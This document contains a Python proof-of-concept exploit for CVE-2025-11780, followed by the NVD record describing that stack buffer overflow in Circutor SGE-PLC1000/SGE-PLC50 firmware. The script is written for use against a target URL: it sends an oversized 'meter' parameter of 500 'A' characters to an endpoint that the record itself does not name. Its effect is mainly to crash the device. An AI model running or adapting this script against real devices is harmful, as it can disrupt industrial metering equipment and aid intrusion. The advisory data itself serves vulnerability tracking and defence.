CVE-2025-11780

import requests import sys # CVE-2025-11780 PoC - Circutor SGE-PLC Stack Buffer Overflow # Target: Circutor SGE-PLC1000/SGE-PLC50 < v9.0.3 # Vulnerability: Stack-based buffer overflow in showMeterReport() via unsanitized meter parameter def exploit_cve_2025_11780(target_url, meter_payload): """ Exploit the buffer overflow vulnerability in showMeterReport() function. Args: target_url: Base URL of the vulnerable Circutor SGE-PLC device meter_payload: Malicious payload for meter parameter Returns: Response from the server """ endpoint = f"{target_url}/api/meter/report" params = { 'meter': meter_payload # Unsanitized input passed to sprintf() } try: response = requests.get(endpoint, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def generate_overflow_payload(length=500): """ Generate payload to trigger buffer overflow. The sprintf() copies user input to fixed-size buffer without size check. """ # Pattern to overflow the buffer and potentially control execution overflow_char = 'A' * length return overflow_char if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_11780_poc.py <target_url>") print("Example: python cve_2025_11780_poc.py http://192.168.1.100") sys.exit(1) target = sys.argv[1] payload = generate_overflow_payload(500) # 500 bytes should overflow typical buffer print(f"[*] Sending exploit payload to {target}") print(f"[*] Payload length: {len(payload)} bytes") response = exploit_cve_2025_11780(target, payload) if response: print(f"[+] Response status: {response.status_code}") print(f"[+] Response body: {response.text[:200]}")

{"cve": {"id": "CVE-2025-11780", "sourceIdentifier": "[email protected]", "published": "2025-12-02T13:15:48.887", "lastModified": "2025-12-03T19:08:11.750", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow vulnerability in Circutor SGE-PLC1000/SGE-PLC50 v9.0.2. In the 'showMeterReport()' function, there is an unlimited user input that is copied to a fixed-size buffer via 'sprintf()'. The 'GetParameter(meter)' function retrieves the user input, which is directly incorporated into a buffer without size validation. An attacker can provide an excessively large input for the “meter” parameter."}, {"lang": "es", "value": "Vulnerabilidad de desbordamiento de búfer basado en pila en Circutor SGE-PLC1000/SGE-PLC50 v9.0.2. En la función 'showMeterReport()', existe una entrada de usuario ilimitada que se copia a un búfer de tamaño fijo a través de 'sprintf()'. La función 'GetParameter(meter)' recupera la entrada del usuario, la cual se incorpora directamente a un búfer sin validación de tamaño. Un atacante puede proporcionar una entrada excesivamente grande para el parámetro 'meter'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:circutor:sge-plc1000_firmware:9.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "3FC715A9-6F95-4795-B3B1-1BFAF88ACCE9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:circutor:sge-plc1000:-:*:*:*:*:*:*:*", "matchCriteriaId": "FFF41215-1018-42DD-9A7E-BBC2E5B4522D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:circutor:sge-plc50_firmware:9.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "203C8B5E-582A-4680-B324-B9092F01462B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:circutor:sge-plc50:-:*:*:*:*:*:*:*", "matchCriteriaId": "447D1571-5329-422D-8E31-F4964E412FC3"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-circutor-products-0", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}